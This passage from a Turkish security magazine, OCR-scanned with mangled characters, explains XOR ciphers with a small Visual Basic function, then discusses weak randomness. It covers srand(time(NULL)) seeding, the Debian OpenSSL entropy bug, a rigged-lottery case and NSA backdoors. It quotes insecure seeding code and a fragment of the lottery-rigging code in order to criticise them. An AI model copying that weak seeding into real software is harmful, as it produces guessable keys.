tir. Elde ettigimiz sonug degerini (burada 1) sifrelenmis metin
olarak kars: tarafa iletiriz.

Sifrelenmis metnin ¢ozillmesi iglemi ayni sifreleme igleminde
oldugu gibidir. Sifreleme anahtari A, sifreli metin de B girisine
uygulansin. O halde sifre ¢6zme fonksiyonumuz Q=A®B olur.
Sifreleme anahtar1 daha dnceden 1 olarak belirlendiginden
XOR kapisinin A girisine 1 olarak uygulanacaktir. Formiilde A
yerine sifreleme anahtari olan 1 ‘i koyarsak Q=1®B elde ede-
riz. Sifrelenmis metin (burada 1) B girisine uygulanir. Yapilan
1®1 = 0 islemi sonucunda (burada 0) agik metne ulasilmisg
olur.

Bu 6rnegimizde yapilan sadece 1 bitlik XOR sifrelemesidir. Tki
adet kaba kuvvet saldirisi ile kolayca kirmak miimkiindiir. Sa-
yisal elektronikte 1 harf anlamina gelebilecek en kiigiik deger
8 bitten olusan 1 byte'tir. Sifreleme giictinii daha da arttirmak
i¢cin XOR kapilariyla 1 byte (8 bit) sifreleme islemi yapabiliriz.
1 Byte sifreleme yapabilmek icin 8 adet XOR kapisina ihtiya-
cimiz olacaktir. Anahtar kelimenin ve agik metnin her bir biti
i¢in bir XOR kapisi kullanacagiz. Gosterimde kolaylik ve ki-
saltma saglamasi i¢in 8 adet anahtar girisine A0,A1..A7, 8 adet
acik metin girisine BO,B1..B7 ve 8 adet sifreli metin ¢ikisina
Q0,Q1..Q7 bigiminde sayisal elektronikte kullanilan standart
adresleme yontemini kullanarak etiketleyecegiz. Simdiki 6r-
negimizde anahtar kelime olarak K harfini segelim. K harfinin
ASCII karsihgr 10’luk sistemde 75, ikilik say1 (binary) siste-
minde ise 01001011°dir. Yine 8 adet XOR kapisinin A girisle-
rine anahtar kelimenin bit degerlerini uygulayalim. A0 olarak
adresledigimiz anahtar girisine anahtar degerimiz K harfinin
en diigitk degerli bitini (en sagdaki bit *) girecegiz. Agik metin
ise A harfi olsun. A harfinin ASCII tablosundan karsilik de-
gerini 6grenip ikilik say1 sistemine geviriyoruz. A harfinin bit
degerlerini de 8 adet XOR kapisinin B girislerine ayni anahtar
girisine uyguladigimiz yontem ile giriyoruz. Islem sonucunda
8 adet XOR kapisinin Q ¢ikiglarindan elde ettigimiz sifreli me-
tin 00001110 olur. Islemi tabloda inceleyebilirsiniz.

ANAHTAR A7.0 01 1]0 0|1 |@ 1
ACIK METIN B7..0 © 10 0 |0 |e 1
Q=A®B Q7..0 @ | e | |1 1 |1 |0

Bir harflik (8 bit, 1 byte) sifreleme giicii kendinizi glivende
hissettirmiyorsa gelin anahtarimizi 64 bite, yani 8 byte’a ¢ikar-
talim.

Anahtar kelime olarak kullanmak icin rastgele 64 bitlik (8
byte), onaltilik (Hex) gosterimle 2A743CFA46B4F1AD sayi-
sin1 olusturdum. Bu sefer ¢cok daha fazla XOR kapisina ihtiyag
duyacagiz. Tam 64 adet. Agik metin olarak Tiirk Mitolojin-

4 https://tinyurl.com/ybxzyhyh




den bir figiiriin ismini, “SU IYESI”sini sifreleyecegiz. 8 bitlik
standart ASCII tablosunda biiyiik I harfi bulunmaz. Tiirkge
harfler ASCII tablosunun CP857 kod numarali sayfasinda
listelenmistir. Bityiik T harfinin bu tablodaki karsiligi onluk
152 (hex 98)” dir. Tabloya verileri ikili (Binary) say1 sistemi
yerine kisaltmak amaciyla onaltili (Hex) say1 sisteminde yaz-
dim. Isletim sisteminin yerlesik hesap makinesini programci-
lik kipine getirerek veya https://www.binaryhexconverter.com
internet sitesini say1 sistemleri arasinda dontisiim yapmak igin
kullanabilirsiniz. Elle XOR kapisi1 dogruluk tablosunu kulla-
narak bu islemi yapmaya ¢aligmak pek pratik olmaz.Yine is-
letim sisteminin yerlesik hesap makinesini veya www.xor.pw
sitesinden yararlanabilirsiniz.

ANAHTAR A63..0 |(2A |74 |(3C |FA |46 B4 F1 |AD
ACIK METIN |B63..0 |53 |55 |20 |98 |59 |45 |53 |98
A®B Q63..0 |79 |21 |1C |62 |1F |F1 |A2 |35

XOR sifrelemesini kendi yazdig1 uygulama icerisinde dene-
mek isteyen okurlarimiz igin Visual Basic ile yazilmis kisa bir
fonksiyon kodu verilmistir. VB kodunu diger programlama
dillerine ¢evirmek gayet kolaydir. Kod ag¢iklamalari satirlarda
verilmistir.

Public Function XORCipher(Anahtar As String, AcikMetin
As String) As String

Dim isaretci As Long

Dim SifreliMetin As String

Dim intXOr1 As Integer, intXOr2 As Integer

‘ Bu fonksiyon ayni uzunlukta alfanumerik Anahtar ve Agik
Metin verisini isler.
‘ Ayni uzunlukta sifrelenmis metni geriye dondiiriir.
¢ Anahtar ve A¢ik Metin uzunlugu ayni olmalidir.
If Len(Anahtar) <> Len(AcikMetin) Then
XORCipher =7
Exit Function
End If

For isaretci = 1 To Len(AcikMetin)

* [saretcinin gosterdigi anahtar ve agik metin verileri say1
tiirtine gevriliyor

intXOrl = Asc(Mid$(AcikMetin, isaretci, 1))

intXOr2 = Asc(Mid$(Anahtar, isaretci, 1))

‘ XOR iglemi yapiliyor ve sifreli metin dizisine ekleniyor
SifreliMetin = SifreliMetin + Chr(intXOr1 Xor intXOr2)
Next isaretci
XORCipher = SifreliMetin
End Function

ARKA KAPI Bayram Gok — 20. Yiizyil Elektronik Caginda Kriptoloji

¢ Kullanim

¢ Visual Basic Formu fizerine listesi verilen araglar: ekleyin
¢ cmdSifrele (Buton)

‘ txtAnahtar (Metin kutusu)

¢ txtAcikMetin (Metin kutusu)

¢ txtXorCipher (Metin kutusu)

Private Sub cmdSifrele_Click()

txtXorCipher.Text = XORCipher(txtAnahtar.Text, txtAcik-
Metin.Text)

End Sub

XOR blok sifrelemesi uygulamasi son derece kolay bir sifrele-
me sistemidir. Ancak ayn1 anahtari siirekli kullanmak Vigene-
re Sifresinde oldugu gibi dilbilimsel frekans analizi ile kolayca
kirilabilir. Kirilmasinin imkéansiz oldugu Claude Shannon ta-
rafindan ispatlanmig XOR iglemini temel alan ve siki kuralla-
ra baglanmis Vernam’ sifresi yontemini de deneyebilirsiniz.
Vernam sifresi tek kullanimlik (One Time Pairing, OTP) rast-
gele anahtar iiretilmesine dayanir. Uretilen anahtarlar énce-
den giivenli bir kanal {izerinden dagitilir ve sadece bir defa
kullanilir. Askeriye gibi kati kurallar1 uygulama yetenegine
sahip organizasyonlar tarafindan kullanilmistir. Bu tek kulla-
nimlik anahtarlarin bir kivilcim ile aninda kiile déniisen 6zel
kagitlara basildig: séylenir.

5 https://en.wikipedia.org/wiki/One-time_pad



Chris Stephenson — cs@chrisstephenson.com
Rastogele sayilar

rastgele olmayinca...

(ABD NSA ajansinin parmagi
var mi acaha?)

im programlama dillerinde bir rand() ya da random() fonksiyonu vardur.
Ismine bakacak olursaniz rastgele sayilar iirettigini diigiiniirsiiniiz, ancak iirettigi sayilar hic de rastgele degil.

Buradaki ilk sorun rastgeleligin ne oldugunu anlamak. Zor bir konu.

42: Ornegin bu bir rastgele say1 midir? Bu soruya cevap vermek miimkiin degil. Ancak bir¢ok say1 icin, bir say1 dizisi i¢in ya da
saymnin heniiz bilinmedigi bir durum i¢in bu soruyu sorabiliriz.

1,1,1,1: Bu say1 dizisi rastgele mi? Olabilir de olmayabilir de. “Rastgele” say1 iiretmek i¢in kurgulanmis bir say1 {ireticisi gayet
dogal bir sekilde boyle bir say1 dizisi iiretebilir. Bunu bir kez yaparsa rastgeleliginden siiphelenmeyiz. Art arda dort yazi-tura
atarsak ve dordii ayni ¢ikarsa sagirmamak lazim. Boyle bir olayin olasilig %12,5. Yine de rastgele bir dizi.

TOUR OF ACCOUNTING |§ ¢l are
g NINE NINE ,‘g NOU THAT'S THE
OVER HERE 2 NINE NINE $ sure PROBLEM
WE HAVE QUR g NINE NINE | ThAaTS WITH RAN-
RANDOM NUMBER |3 :| RANDOM?  DOMNESS:
GENERATOR. g YOU CAN
g 3 k NEVER BE
o 2 5 SURE.
12 g
15 o

Burada rastgele say1 iireticimiz var... “999 99 9” ... Rastgele oldugundan emin misin? Rastgelelikle sorun bu - hi¢hir zaman emin

olamazsin'

1 https://dilbert.com/strip/2001-10-25 2019-01-08 tarihinde erisildi
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Olasilik ¢ok derin bir konu. Bazen en dahi matematikgilerin bile kafalarini karigtiran bir konu. Paul Erdos, dahi bir matematikgi
ama en basit bir olasilik sorunu (Mehmet Ali Erbil sorunu) ile kars1 karsiya geldiginde bile ¢6ziimiinii kabul etmiyordu?.

Olasilik sadece kumarbazlari ilgilendiren bir sey de degil. Once termodinamik teorisiyle, sonra kuantum fizigiyle, olasiligin evrenin
temellerinde var oldugunu 6grendik. Ludwig Boltzmann entropi ve olasilik arasindaki formiilii bularak cagdas termodinamigin teme-
lini att1. Einstein, “mucize yili” olarak isimlendirilen, 1905 yilinda yazdig1 makalelerden birinde, Brownian Motion (Brownian
Hareketi) yani gozle goriilmeyen kii¢iik pargaciklarin bir siv1 etrafindaki diizensiz hareketini yine olasilig1 kullanarak ¢6zdil.
1920’lere gelince kuantum fizigi i¢in Schrodinger, Heisenberg ve digerleri evrenin agiklanmasinda olasiliga merkezi bir rol bigti. Rast-
gelelik boylece evrenin temellerinde yerini ald1.

Yine de olasilik ve rastgelelik kafa karistiran bir kavram.

Solomonoff - Kolmogorov - Chaitin Rastgeleligi

1933 yilinda usta Rus Matematikg¢i, Andrey Nikolaevich Kolmogorov, “Olasilik Teorisinin Temelleri™ isimli kitabiyla olasilik
teorisine aksiyomatik bir temel verdi*. Bu derin konuya dogrudan girmeyecegiz.

Bizi ilgilendiren kismi, sonradan Ray Solomonoff’, Kolmogorov ve Gregory Chaitin tarafindan gelistirilen algoritmik rastgelelik
teorisi. Hesaplama teorisiyle ilgilenen bilgisayarcilar olarak bu tanimin ilging yani, hesaplama ile ilgili olmasi.

2006 yilindaki “Randomness and Complexity” Bilgi Universitesindeki Turing Days atolyesine katilimcilar, Bogaz turunda.
Uzun beyaz sakala sahip olan, sagdan besinci insan Ray Solomonoff.

g IR

2 Mehmet Ali Erbil Sorunu (a.k.a. Monty Hall problem): Bir TV oyununda 3 kapali kutu var. Sadece birinde 6diil var. Diger ikisi bos. Kazanan oyuncu bir kutu
seger. Mehmet Ali Erbil oyuncunun segtigi kutudan bagka bir kutuyu agar ve bos oldugunu gosterir. Oyuncuya sorar: “Segeneginizi degistirmek istiyor musunuz?”
Oyuncu segenegini degistirmeli mi, degistirmemeli mi? Paul Erdos, diinyanin en iiretken matematikgilerinden biri, bu sorunun dogru cevabini kabul edemiyordu.
Ta ki kendisine bir bilgisayar simiilasyonu gosterilinceye kadar. Yani usta bir matematikgi teorik cevapla degil, pratik gosteriyle ikna oldu. Olasilik zor bir is.

3 Kolmogorov, Andrey (1956). Foundations of the Theory of Probability (2nd ed.). New York: Chelsea. ISBN 978-0-8284-0023-7
4 Alternatif, sonradan, Cox tarafindan sistematik haline getirilen bir “Bayesian” olasilik ekolii de var.

5 Bizim igin Istanbul Bilgi Universitesi Bilgisayar Bilimleri béliimii tarafindan 2006 yilinda érgiitlenen “5. Turing giinleri’nde Ray Solomonoft’u davet edip 3 giin
boyunca dinlemis olmak bityiik bir gurur kaynag idi. Maalesef bugiin Bilgi Universitesi'nde béyle isleri yapmak igin ne gerekli biitce ne de gerekli vizyondan séz
edebilmek gergekten zor. O giinlerin programina bu linkten ulagilabilir: https://web.archive.org/web/20060615000718/http://cs.bilgi.edu.tr:80/pages/turing_days/.
“WWW unutmaz, unutturmaz.” web.archive.org ¢ok giizel bir kaynak. cs.bilgi.edu.tr kapatildi ama web.archive.org sitesinde héla yasiyor.
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Bu teoriye gore, bir dizinin rastgeleligi o diziyi iiretebilen en
kisa programin uzunluguyla olgilityor. Programlama dili
konusunda da sartlar1 6nceden belirtmek gerek. Bu is Visual
Basic dilinde yapilmaz, ancak esas kavram net. Dizini yazdir-
mak i¢in (C dilinde 6rnegin) printf ve tirnaklar aras: dizinin
igerigini yazmak en kisa program ise, bu dizi rastgele sayilir.
Bundan daha kisa bir program varsa, dizi rastgele degildir. Bir
dizinin kendisinden kisa bir program tarafindan nasil ireti-
lebilecegini merak ediyorsaniz, ZIP gibi herhangi bir dosya
sikistirma programi disiinilebilir. Dizin, bir dosya olarak
sikistiriliyorsa ve sikistirilmis hali, dizini yeniden yaratabilen
programla paket yapilirsa dizinden kisa ama dizini iiretebilen
bir program elde edilmis oluyor. Kendiliginden acilabilen ZIP
dosyasi, bunun bir 6rnegidir. Sikistirilamayan bir dosyanin
ierigi rastgele diistiniilebilir.

Ancak, maalesef, hemen bir sorunla kars1 karsiya geliyoruz.
ZIP’in sikistirma yontemleri belli ve sinirli. Bagka yontemlerle
gayet iyi sikistirilabilen bir dosya ZIP tarafindan sikigtirilama-
yabilir. Bagka yontemlere bakabiliriz. Ancak bu isin sonu yok.
Bu alani kuran bilim insanlarinin ilk ispat ettigi teoremlerden
biri, bu giizel rastgelelik tanim1 ayni zamanda hesaplanamaz.
Herhangi bir dosyaya bakip ve en kisa sikigtirilmig halini he-
saplayan bir program yazilamaz. Chaitin ve Kolmogorov bunu
bir teorem olarak ispat ettiler. Dolayisiyla bir dizinin rastgeleli-
gini 6lgen bir program da yazilamaz.

Yine bir ornek verelim. Matematikten bildigimiz 7 sayisinin
onluk sistemdeki agilimi (3.14159265359....) gorece kisa bir
program tarafindan istenen uzunlukta rahatlikla hesaplana-
bilir. Bu uzanan say1 dizisinin sectigimiz herhangi bir kesiti
goze rastlantisal goriintiyor. Herhangi bir istatistiksel rastge-
lelik testinden de geger. Ancak hig rastgele degil. m sayisinin
acilimini taniyabiliriz, ancak basit bir sekilde boyle dizileri
transform ederek sonsuz rastgele goriinen ama hig rastgele
olmayan diziler iiretilebilir. Teorem bize gosteriyor ki, rastge-
lelik tanimu var, fakat 6l¢iisii yok.

Isin korkung yani, programlama dillerinin kiitiiphanelerinde
bulunan rand() ya da random() fonksiyonlarinin tam bu sozii-
ni ettigimiz tiirden olmasi. Yani rand() fonksiyonundan gelen
sonuglar rastgele olmak yerine rastgeleligin tersidir. Ctinki
rand() ve benzerleri kisa programlar.

int getRandomNumber ()

return 4. // chosen by foir dice roll.
/ quaranteed to be random.

}

xked.com sitesinden rand() yorumu. 4 - zarla segildi! Rastgeleligi garantili iste.’

6 https://xked.com/221/ 2019-01-08 tarihinde erisildi

Entropiye Ihtiyac Var

C dilinde program yazanlar bilir. rand() fonksiyonu tamamen
belirlenmis ama rastgele goriiniime sahip bir say1 dizisi tiretir.
Testler i¢in bile faydali olabilir. Belli bir dizi programda bir
hataya sebep oluyorsa, tekrar ayn1 sozde rastgele dizisi tirete-
bilmek ise yarar bir nitelik. Ancak tekrar tekrar ayni dizinin
ortaya ¢cikmasi sakincali ise, rand() fonksiyonunun bu niteligi
bir sorun teskil ediyor.

Coziim bagka yerden biraz rastgelelik ithal etmek. Bu rastgele-
ligi ithal etmek i¢in C dilinde srand() fonksiyonu kullaniliyor.
srand() fonksiyonuna verilen parametre rand() ile tiretilecek
say1 dizisi icin bir baslangi¢ degeri olusturuyor. Bu say1 i¢in
“seed” (tohum) denir. Termodinamik teorisinden bir kelime
6diing alarak bu saymnin kattig1 rastgeleligi “entropi” olarak
isimlendiriyoruz.

Korkung Bir Kesif

Google ile bir arama yaptim. Girdigim metin “c dili rand” Tlk
sayfada ¢ikan biitiin sayfalar1 inceledim. Ayni isi Ingilizcede
yaptim. Sonuglar ayni. “rand()” kullanmak igin tavsiye edilen
yontem 6nce bir defa srand() fonksiyonu ¢agirmak. Neredeyse
biitiin sonuglarda C dilindeki kod bu 6rnege ya benziyor ya
da tipatip aynisi. Kopyala yapistir oldugu kesin, kimin kimden
kopyaladigi belli degil. Ornek “Information Security Blog” ol-
dugunu iddia eden bir sayfadan aldim.”

int main() {
int rastgele;
srand (time (NULL)) ;
rastgele=5+rand() %$25;
printf (“%d”,rastgele) ;
return 0;
getch() ;
}
[rlandali yazar, Jonathan Swift, 1710 yilinda, “Yalan ugar, ger-
¢ek arkasindan topallayarak gelir®” diye yaziyor®. Belli ki Swift
internetin gelecegini 6ngérmiis. Bu yanls (ve tehlikeli) kod

7 Bu kod 6rneginde getch() fonksiyonun kullanimi her zaman alarm zillerimizi
¢aldirmali. Sadece Microsoft Windows'un sakat C ortaminda gerekli bir
fonksiyon. C standart kiitiiphanelerinde yok. Buldugum kodlar igin somut
referans vermiyorum. Kodu aktaran sahislarin sugu yok. Merak edenler ayn1
Google aramasini yapabilir.

8 “Falsehood flies, and truth comes limping after it, so that when men come to
be undeceived, it is too late; the jest is over, and the tale hath had its effect: like
a man, who hath thought of a good repartee when the discourse is changed,
or the company parted; or like a physician, who hath found out an infallible
medicine, after the patient is dead”

9 Jonathan Swift, The Examiner No. XIV (Thursday, November 9th, 1710)




nerede arama yaparsan yap Oniine ¢ikiyor. Dogrusu ortada
yok. Ancak bizim igin giizel bir 6rnek olusturuyor.

Entropi ithal etmek i¢in bu kod time kiitiiphanesinden time()
fonksiyonunu kullaniyor. Fonksiyondan donen deger 1 Ocak
1970den ¢agirildig1 ana gegen saniye sayist. Yani bu sonug sa-
niyede bir degisir. Elden ¢alistirilan bir 6grenci program igin
yeterli goriinebilir. Ancak gercekten rastgeliligin gerekli oldu-
gu bir ortam tam bir felaket.

“Bunun sadece bir 6rnek” oldugu séylenebilir. Ama ¢ok kétit
bir 6rnek ve bu tiir uygulamalarda kaginilmasi gereken bir
yaklagim.

Rastgele sayilar kripto anahtarlar ya da sifre iiretimi i¢in
kullanildiginda;

(a) time() fonksiyonunun sonucu sadece saniyede bir degi-
sir. Bir sunucuda ayni saniye i¢inde srand() ve sonra rand()
kullanan iki proses, ayni sonucu iiretecek. iki farkli yerden
ayni saniye iginde gelen isteklere ayni sifreyi verecek.

(b) time() fonksiyonunun sonucunu saldirgan dahil herkes
bilir.

Bu kod Ornegini yeni baslayan yazilimcilara gostermek,
elektrigi kapali olan bir evde ¢cocuklara parmaklarini elekt-
rik fislerine sokmay1 6gretmek gibi bir sey. O anda bir sey
olmaz. Ama ¢ok tehlikeli aliskanliklar yaratur.

Tabii ki rastgeleligin kritik oldugu uygulamalarda tohum ola-
rak, entropi kaynag: olarak, time() fonksiyonundan ¢ok daha
iyi, gercekten rastgele veriler kullaniliyor. *nix isletim sistem-
lerinde /dev/random dosyasi bilgisayarin fiziksel ortamindan
toplanan rastgele verilerden tiiretilen rastgele sayilar iceriyor.
Bu dosyadaki entropi isletim sistemi i¢in degerli bir kaynak.
Dosyadan alinan sayilar, dogal olarak, bir daha kullanilmaz.
Bilgisayarindaki isletim sistemi devamli, 6rnegin fare ve klav-
ye hareketlerinin ince (mikrosaniyelik) zamanlamalardan
yeni rastgele bilgi topluyor.

Klavye ve faresi olmayan sunucu bilgisayarlar i¢in durum bi-
raz daha zor. Ag trafiginin ince zamanlamalarindan bilgi top-
lanabilir. Bankacilik para transfer giivenligi ve loto ¢ekilisleri
gibi kritik uygulamalarda 6zel donanimlara basvurulur. Ufak
miktarda radyoaktif Americium igeren 6zel aletlerden kuan-
tum diizeyde rastgele veriler toplanabilir.

Cloudflare igerik teslim ag ve ag giivenligi sirketi (CDN - Con-
tent Delivery Network) biraz daha eksantrik bir ¢6ziim buldu.
Cloudflare Kaliforniyadaki genel merkezinin lobisinde 80 lava
lambas1 bulunuyor. “Lava” lambas1 1960’larda popiiler olan
lambanin 1s1s1yla icerdigi iki renkli yag: hareket ettiren bir ev
aleti. Lava lambasindaki yaglarin hareketleri bilimsel anlamiy-
la “kaotik”. Bir kamera yaglarin hareketlerini kaydediyor ve bu
hareketler sirketin arka planda entropi kaynagi oluyor'.

10 https://blog.cloudflare.com/randomness-101-lavarand-in-production/
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Cloudflare sirketinin rastgelelik sorununa buldugu care:
entropi kaynagi - 80 adet Lava lambasi

Rastgelelik Eksik Olunca

Entropi yoklugu / yetersizligi glivenlik i¢in tam bir felaket.

Debian Linux dagitimi, sunucu diinyasinda en popiiler Linux
dagitimlarindan biri. Daha da kétiisti, bagka Ubuntu, Mint
gibi popiiler dagitimlar Debian dagitimdan tiiretiliyorlar.

Bu dergideki 6nceki makalelerimde C programlama dilinin
yapisinin giivenlige kattig1 sorunlardan bahsetmistim. Bu so-
runlarin etkisini azaltmak icin C kodlarini tarayip program-
larin “riskli” davranislarini tespit etmek i¢in Purify, Valgrind
gibi gesitli kod tarayan uygulamalar kullaniliyor. Debian gelis-
tiricileri, libssl sifreleme kiitiiphanesini taradilar ve kimi zafi-
yetler tespit ettiler.

Gelistiricilerin arasindaki bu konu hakkindaki tartigmalari
okumak hala miimkiin. Ozetle “Ne yapacagiz — bu kod hata
veriyor?” “Bu satirlar hata veriyor. Silsek mi acaba?” gibi ko-
nugmalar gelistiricilerin arasinda gegiyor.!! Debian’in hata y6-
netimi sisteminden bir alintu:

11 Debian Bug report logs - #363516 valgrind-clean the RNG https://bugs.
debian.org/cgi-bin/bugreport.cgi?bug=363516 2019-01-08 tarihinde erisildi
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The problems are the following pieces of
code in

crypto/rand/md_rand.c:
#ifndef PURIFY

MD Update (&m,buf,j); /*
purify complains *7/
#endif
What it’s doing is adding uninitialised
numbers to the pool to

create random numbers.

I’ve been thinking about commenting those
out.

Martin, what do you think about this?

Bu satirlar “geliyorum” diyen bir felaketin habercileri. O kri-
tik, “sorunlu” kod satiri silindi. Bu 2006 yilinda oldu.

Sonug itibariyla libsslde kritik bir isleme giren entropi 16 bit-
lik bir seviyeye diisti.

Bunun sonuglarini anlamak i¢in kullanilan kriptografinin na-
sil calistigini kisaca anlatmak gerek. RSA a¢ik anahtarli gifrele-
me teknolojisi biiyitk (hem de gok biiyiik) asal sayilar1 kullani-
yor. Kriptografik sir iki buiytik asal sayz, size mesaj gondermek
isteyen kisiler ile paylastiginiz public (genel) anahtariniz bu
iki sayinin ¢arpimindan iretiliyor.

Dolayisiyla asal sayilar1 bulmak miimkiin olunca kriptografik
yontemin sirr1 agiklanmis oluyor.

Kullanilacak biiyiik asal sayilarin dretilmesi sorunun Kkilit
noktas1. Biiyiik asal sayilar, rastgele biiyiik sayilar1 segip (yine
rastgelelige bagli Rabin-Miller yontemi kullanarak) bir asal
say1 ¢ikincaya kadar asalliklarini test ediyor. $u ana kadar bii-
ylik asal sayilar bulmak i¢in kullanilan en hizli yéntem bu.

Sorun, siirece giren entropi sadece 16 bitlik ise, tiretilen bii-
yik asal sayilar sadece 65.535 asal say1 iceren bir havuzdan
seciliyor. Bilgisayarlar hizli caligtyor; iyilik i¢in de kotilik i¢in
de. Bir saldirgan birka¢ milisaniye i¢inde 65 bin olas1 anahtar1
deneyip kapidan igeriye gecebiliyor.

Maalesef aynen tarif ettigimiz sekilde oldu. Bu kod satirinin
silinmesiyle, Debian ve tiirevlerinin son versiyonunu yiikle-
yen her sunucunun kapisi ¢ok basit saldir1 programlarina acil-
di'%. Sorun ancak 2008 yilinda tespit edildi. Yani 2 yil boyunca
bu giivenlik ac181 kullanilmaya devam etti.

12 Bilgi Bilgisayar Bilimleri boliimiinde biz de bu ag1ga kurban olduk. Keske
sunucularimiza giren 6grencimiz kendi gabasiyla girebilseydi. Ancak “script
kiddy” oldugu igin “bir yerden” indirdigi hazir bir programla sunucularimiza
girebildi. Hedefi sinav sorulariydi. Girisim Tespiti Sistemimizin
(Intrusion Detection System) alarm zilleri hemen ¢aldi. Saldiriy: serbest
laboratuvarimizdan yurtttiigi igin giivenligimizi saglayan asistan arkadaglar
laboratuvara inip gok akilli olmayan 6grencimizi hemen ekran basinda
yakaladilar. Kendi sunucumuzun giivenligine fazla giivenmedigimiz i¢in
kontrol amaciyla hoca ve asistanlar arasinda sinav sorularini génderirken
GPG sifreleme kullantyorduk. GPG, entropi konusunda, ¢ok daha dikkatli
yazilmug bir uygulama oldugu i¢in sinav sorularimiz ashinda tehdit altinda
degildi.

Her Entropisizlik Tesadiifi
Olmuyor -
Kasith Entropisizlik

Resim: Francesco Francavilla

Teorik sebeplerden dolay1 entropisizligi tespit etmek zor. Al-
goritmik karigiklik hesaplanmaz bir nitelik oldugundan bir
rastgele say1 Ureticisinden gelen sayilarin icerdigi entropi de
hesaplanamaz.

Bu da “tespit edilemez” suglara yol acabilir. ABDde Lowa eya-
letinin lotosunda boyle bir olay oldu®.

Lotoda kullanilan rastgele sayu iireticisinin programcisi, Eddie
Tipton, 2006 yilinda entropiyle bir hile yapti. Lotolarda rast-
gele sayilarin entropisi genellikle 6zel radyoaktif rastgeleligini
kullanan bir aletten geliyor. Programcimiz belli tarihler ve ko-
sullarda o aletten gelen entropinin ¢ogunu yine tarihten tiire-
tilen sayilarla ikame eden birkag satir kod ekledi. Yani o her
yerde bulunan “srand (time(NULL))” kod 6rnegiyle ayni sey
yapti. Tabii ki ¢ok hassas bir kod parcasi oldugu i¢in bu kod
denetime tabiydi. Yaptig1 degisiklik fark edilmedi, kod dene-
timden gecti.

4 sene boyunca yilin belli giinlerinde kazanan loto sayila-
r1 milyonluk bir havuzdan degil birkag yiizliik bir havuzdan
cekiliyordu. Her tarihte o havuz farkli oldugundan ve rast-
geleliginin hesaplanamaz tabiatindan otiirii kimse bunu fark
edemezdi. Loto calisanlarinin loto bileti satin almasi tabii ki
yasak. Eddie Tipton arkadaslarina, akrabalarina sayilar veri-
yordu, kazandiklar: ikramiyeden de bir yiizde aliyordu.

13 The Man Who Cracked The Lottery, Reid Forgrave. New York Times 2018-
05-03 https://www.nytimes.com/interactive/2018/05/03/magazine/money-
issue-iowa-lottery-fraud-mystery.html (2019-01-02 tarihinde erisildi)




Tipton'un yakalanmasi a¢gozliligi ve dikkatsizliginden kay-
naklandi. 2010 yili sonunda Eddie Tipton sahsen 16.5 milyon
dolar kazanan bir bilet satin ald1. Odiilii bir arabaciyla almaya
calisti, ancak olmadi ve 6diilii almaktan vazgecti. Olay 4 sene
boyunca sir kaldiktan sonra goreve gelen yeni bir savci biletin
satin alindig1 andan kalan giivenlik kamera kayitlarini yayin-
lad1 ve Tipton'u taniyan biri ihbar etti. Hala bunu nasil yaptig1
sir. Ancak loto &diilii kazananlar arasinda Tipton'un yakinlari
tarandiginda olayin biyukligii agiga cikti. Cogu yerde eski
rastgele say1 lireticisinin kodlari silinmisti, ama bir yerden bir
yedek cikinca kullandig1 yontem de anlagildi.

2014 yilinda mahkum olan Tipton hélen hapiste.

aturday = (day_of_week = 7)

S_saturday oOr is_wednesday Or is hour_o
day_of_year = DatePart(“y‘H D =
year_._num = DatePart(“yyyy"®
day_is_147 = (day_of_year
day_is_327 = (day_of_vyear
day_is_3k3 = (day_of_year

2

If day_is_147 or Day_is_327

Resim: Francesco Francavilla

Her Entropisizlik Tesadifi
Olmuyor -
Devlet Entropisizligi

Kriptografi konusunda ABD’nin istihbarat teskilatlarindan
biri olan National Security Agency (NSA) denilen kurumun
sicili bir hayli kabarik ve bozuk. NSA’in yaptig1 is gayet ba-
sit goriiniirde iyi ¢calistig1 diisiiniilen ancak kendisi tarafin-
dan kirilabilen kriptografi yontemleri benimsetip yaymak.
Slogani “Nobus” (Nobody but us), yani bizden bagka kimse
kiramasin. Bill Clinton déneminde, 6rnegin, Clipper denilen
kriptografik ¢ipi bir standart olarak dayatmaya ¢alist1. 1993 y1-
linda yaratilan Clipper’in yapisinda devlete agik olan bir arka
kap1 vardi. Devletin her ¢ipi agan bir gizli anahtar: vardi. Bu
arka kapida bagka bir giivenlik a¢ig1 daha bulundu. Bankalar
ve kripto giivenlige ihtiya¢ duyan diger kurumlar ¢ipin yeter-
sizligi yiiziinden Clipper’i kabul etmediler.

ARKA KAPI Chris Stephenson — Rastgele Sayilar Rastgele Olmayinca

MYK-78 “Clipper” ¢ipi. NSAnin ‘altin anahtar”

Bu durum bu tiir cabalara maalesef bir son vermedi. 25 sene
sonra, Obama yonetimi altinda 2015 yilinda, FBI miidiirii Ja-
mes Comey tekrar devlet icin mecburi bir arka kap: istiyor-
du'. Ne yazik ki ABD hiikiimeti bu konuda tek degil, Ingiltere
hitkiimeti de kripto arka kapilar talep ediyor. Bu girisimlere
giivenlik uzmanlari ve bilim insanlar1 itiraz ediyorlar. Itiraz
noktalarindan biri gizli bir arka kapinin gizli kalmama ihti-
malinin yiiksek oldugu gergegi. Kétii (ya da devletten daha da
kotii) niyetli insanlar bu arka kapilarin anahtarlarini bulabi-
lirse ticari gizlilik kalmaz ve hirsizlik serbest olur. Bu konuda
CACM dergisinde manifesto niteliginde bir makale yayinlan-
di®s.

Yasalarla dayatilmaya ¢alisilan arka kapilar var. Gizlice yayma-
ya ¢alisilan arka kapilar da.

Bruce Schneier’in yazdigi gibi “Eskiden NSA ticari kriptog-
rafik yontemleri zayiflatmak isterken, tercih ettigi yollardan
biri, bir Rastgele Say1 Uretecinin entropisini gizlice azaltmak
oluyordu'®”

2006 yilinda NSA, NIST (National Institute of Standards and
Technology — Ulusal Standartlar ve Teknolojiler Enstitiisii) yeni
bir rastgele say1 uireteci 6nerdi. NIST birkag rastgele say1 iireteci

14 What the government should have learned about backdoors from the clipper
chip, https://arstechnica.com/information-technology/2015/12/what-the-
government-shouldve-learned-about-backdoors-from-the-clipper-chip/ 2019-
01-08 tarihinde erisildi

15 Keys Under Doormats Harold “Hal” Abelson, Ross Anderson, Steven M.
Bellovin, Josh Benaloh, Matt Blaze, Whitfield “Whit” Diffie, John Gilmore,
Matthew Green, Susan Landau, Peter G. Neumann, Ronald L. Rivest,
Jeftrey 1. Schiller, Bruce Schneier, Michael A. Specter, Daniel J. Weitzner,
Communications of the ACM, October 2015, Vol. 58 No. 10, Pages 24-26
10.1145/2814825

16 https://www.schneier.com/blog/archives/2008/05/random_number_b.html
2019-01-08 tarihinde erisildi
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igeren yeni bir standart belgesi yayinladi'. Rastgele say: iireteci-
leri arasinda NSAnin 6nerdigi Dual Elliptic Curve temelli Dual_
